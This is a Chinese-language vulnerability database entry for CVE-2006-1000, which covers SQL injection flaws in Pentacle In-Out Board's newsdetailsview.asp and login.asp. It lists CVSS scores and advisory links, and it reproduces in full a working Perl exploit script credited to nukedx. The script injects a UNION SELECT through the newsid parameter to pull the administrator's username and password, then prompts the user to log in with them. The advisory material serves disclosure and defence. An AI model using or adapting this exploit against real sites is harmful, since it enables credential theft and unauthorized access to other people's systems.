CVE-2006-1000
CVSS10.0
发布时间 :2006-03-06 15:06:00
修订时间 :2011-03-07 21:31:33
NMCOE    

[原文]Multiple SQL injection vulnerabilities in Pentacle In-Out Board 3.0 and earlier allow remote attackers to execute arbitrary SQL commands and bypass authentication via the (1) newsid parameter to newsdetailsview.asp and (2) password parameter to login.asp.


[CNNVD]Pentacle In-Out Board 多个SQL注入漏洞(CNNVD-200603-072)

        在Pentacle In-Out Board 3.0和更早期版本中的多个SQL注入漏洞,会使远程攻击者通过(1) 位于newsdetailsview.asp中的newsid参数和(2)位于login.asp中的password参数,执行任意SQL指令绕过验证程序。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1000
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1000
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-072
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0749
(UNKNOWN)  VUPEN  ADV-2006-0749
http://www.securityfocus.com/bid/16818
(VENDOR_ADVISORY)  BID  16818
http://www.securityfocus.com/archive/1/archive/1/426075/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060225 Advisory: Pentacle In-Out Board <= 6.03 (newsdetailsview.aspnewsid) Remote SQL Injection Vulnerability
http://www.securityfocus.com/archive/1/archive/1/426074/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060225 Advisory: Pentacle In-Out Board <= 6.03 (login.asp) AuthencationByPass Vulnerability
http://www.nukedx.com/?viewdoc=14
(VENDOR_ADVISORY)  MISC  http://www.nukedx.com/?viewdoc=14
http://www.nukedx.com/?viewdoc=13
(VENDOR_ADVISORY)  MISC  http://www.nukedx.com/?viewdoc=13
http://securitytracker.com/id?1015682
(VENDOR_ADVISORY)  SECTRACK  1015682
http://secunia.com/advisories/19024
(VENDOR_ADVISORY)  SECUNIA  19024
http://lists.grok.org.uk/pipermail/full-disclosure/2006-February/042525.html
(UNKNOWN)  FULLDISC  20060225 Advisory: Pentacle In-Out Board <= 6.03 (newsdetailsview.asp newsid) Remote SQL Injection Vulnerability
http://lists.grok.org.uk/pipermail/full-disclosure/2006-February/042524.html
(UNKNOWN)  FULLDISC  20060225 Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass Vulnerability

- 漏洞信息

Pentacle In-Out Board 多个SQL注入漏洞
危急 SQL注入
2006-03-06 00:00:00 2006-03-06 00:00:00
远程  
        在Pentacle In-Out Board 3.0和更早期版本中的多个SQL注入漏洞,会使远程攻击者通过(1) 位于newsdetailsview.asp中的newsid参数和(2)位于login.asp中的password参数,执行任意SQL指令绕过验证程序。

- 公告与补丁

        目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本.

- 漏洞信息 (1528)

Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection (EDBID:1528)
asp webapps
2006-02-25 Verified
0 nukedx
N/A [点击下载]
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: penta.pl <victim> <directory>
#Original Advisory: http://www.nukedx.com/?viewdoc=14
use IO::Socket;
if(@ARGV < 3){
print "
+***********************************************************************+
+Pentacle In-Out Board <= 6.03 (newsdetailsview.asp) Remote SQL-Inj. XPL+
+                Usage: penta.pl <victim> <directory> <userid>          +
+                       Example: penta.pl sux.com / 1                   +
+                 Method found & Exploit scripted by nukedx             +
+***********************************************************************+
";
exit();
}
#Local variables
$pentaserver = $ARGV[0];
$pentaserver =~ s/(http:\/\/)//eg;
$pentahost = "http://".$pentaserver;
$port = "80";
$pentadir = $ARGV[1];
$pentaid  = $ARGV[2];
$pentatar = "newsdetailsview.asp?newsid=";
$pentafinal = "login.asp";
$pentaxp = "11%20union%20select%200,userpassword,0,username,0,0,0,0%20from%20pt_users%20where%20userid=".$pentaid."%20and%20useradmin=yes";
$pentareq = $pentahost.$pentadir.$pentatar.$pentaxp;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $pentaserver\n";
$penta = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$pentaserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $penta "GET $pentareq\n";
print $penta "Host: $pentaserver\n";
print $penta "Accept: */*\n";
print $penta "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$penta>) {
if ($answer =~ /class=\"newsdetailtitle\">(.*?)<\/td>/){ 
print "+ Exploit succeed! Getting USERID: $pentaid admin login information.\n";
print "+ ---------------- +\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /<td align=\"right\" class=\"style9px\">(.*?)&nbsp;/) { 
print "+ PASSWORD: $1\n";
print "+ ---------------- +\n";
print "+ Lets go $pentahost$pentadir$pentafinal and\n+ Login with this information. \n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /Internal Server Error/) { 
print "+ This version of Pentacle In-Out Board is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of Pentacle In-Out Board is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Try another userid maybe this one not the admin.\n";
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-02-25]

# milw0rm.com [2006-02-25]
		

- 漏洞信息

23523
Pentacle In-Out Board login.asp password Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-02-25 2006-02-25
2006-02-25 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站